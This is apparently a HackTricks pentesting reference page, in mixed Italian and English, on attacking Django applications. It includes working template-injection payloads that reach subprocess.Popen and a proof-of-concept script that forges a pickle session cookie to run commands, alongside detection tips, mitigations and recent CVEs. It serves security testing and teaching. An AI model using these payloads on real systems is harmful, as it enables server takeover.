Django
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Cache Manipulation to RCE
Django's default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. Se un attaccante può ottenere accesso in scrittura alla cache, può scalare questa vulnerabilità a RCE sul server sottostante.
La cache di Django è memorizzata in uno di quattro posti: Redis, memory, files, o un database. La cache memorizzata in un server Redis o in un database sono i vettori di attacco più probabili (Redis injection e SQL injection), ma un attaccante potrebbe anche utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno classificato questo come un non-problema. È importante notare che la cartella dei file della cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render()
or when |safe
/format_html()
removes auto-escaping), an attacker may achieve full SSTI → RCE.
Rilevamento
- Cerca chiamate dinamiche a
Template()
/Engine.from_string()
/render_to_string()
che includono qualsiasi dato di richiesta non sanificato. - Invia un payload basato sul tempo o aritmetico:
{{7*7}}
Se l'output renderizzato contiene 49
, l'input viene compilato dal motore di template.
Primitive per RCE
Django blocca l'accesso diretto a __import__
, ma il grafo degli oggetti Python è raggiungibile:
{{''.__class__.mro()[1].__subclasses__()}}
Trova l'indice di subprocess.Popen
(≈400–500 a seconda della build di Python) ed esegui comandi arbitrari:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
Un gadget universale più sicuro è iterare finché cls.__name__ == 'Popen'
.
Lo stesso gadget funziona per Debug Toolbar o le funzionalità di rendering dei template di Django-CMS che gestiscono male l'input dell'utente.
Vedi anche: ReportLab/xhtml2pdf PDF export RCE
Le applicazioni basate su Django comunemente integrano xhtml2pdf/ReportLab per esportare le views in PDF. Quando HTML controllato dall'utente entra nel processo di generazione del PDF, rl_safe_eval può valutare espressioni all'interno delle triple parentesi [[[ ... ]]]
permettendo l'esecuzione di codice (CVE-2023-33733). Dettagli, payload e mitigazioni:
Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733
RCE della session cookie basata su Pickle
Se l'impostazione SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
è abilitata (o è presente un serializer custom che deserializza pickle), Django decrypts and unpickles il cookie di sessione prima di chiamare qualsiasi codice della view. Pertanto, possedere una chiave di firma valida (di solito il SECRET_KEY
del progetto) è sufficiente per ottenere esecuzione di codice remota immediata.
Requisiti per l'exploit
- Il server utilizza
PickleSerializer
. - L'attaccante conosce / può indovinare
settings.SECRET_KEY
(leaks via GitHub,.env
, pagine di errore, ecc.).
Proof-of-Concept
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Invia il cookie risultante, e il payload viene eseguito con i permessi del worker WSGI.
Mitigazioni: Mantieni il JSONSerializer
di default, ruota il SECRET_KEY
e configura SESSION_COOKIE_HTTPONLY
.
Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
- CVE-2025-48432 – Log Injection via unescaped
request.path
(fixato il 4 giugno 2025). Permette agli attaccanti di introdurre newline/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Critical SQL injection in
QuerySet.values()/values_list()
onJSONField
(CVSS 9.8). Crea chiavi JSON per uscire dall'escaping e eseguire SQL arbitrario. Corretto in 4.2.15 / 5.0.8.
Esegui sempre il fingerprint della versione esatta del framework tramite la pagina di errore X-Frame-Options
o l'hash di /static/admin/css/base.css
e testa quanto sopra dove applicabile.
References
- Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 giugno 2025.
- OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 agosto 2024.
- 0xdf: University (HTB) – Sfruttamento di xhtml2pdf/ReportLab CVE-2023-33733 per ottenere RCE e pivotare in AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.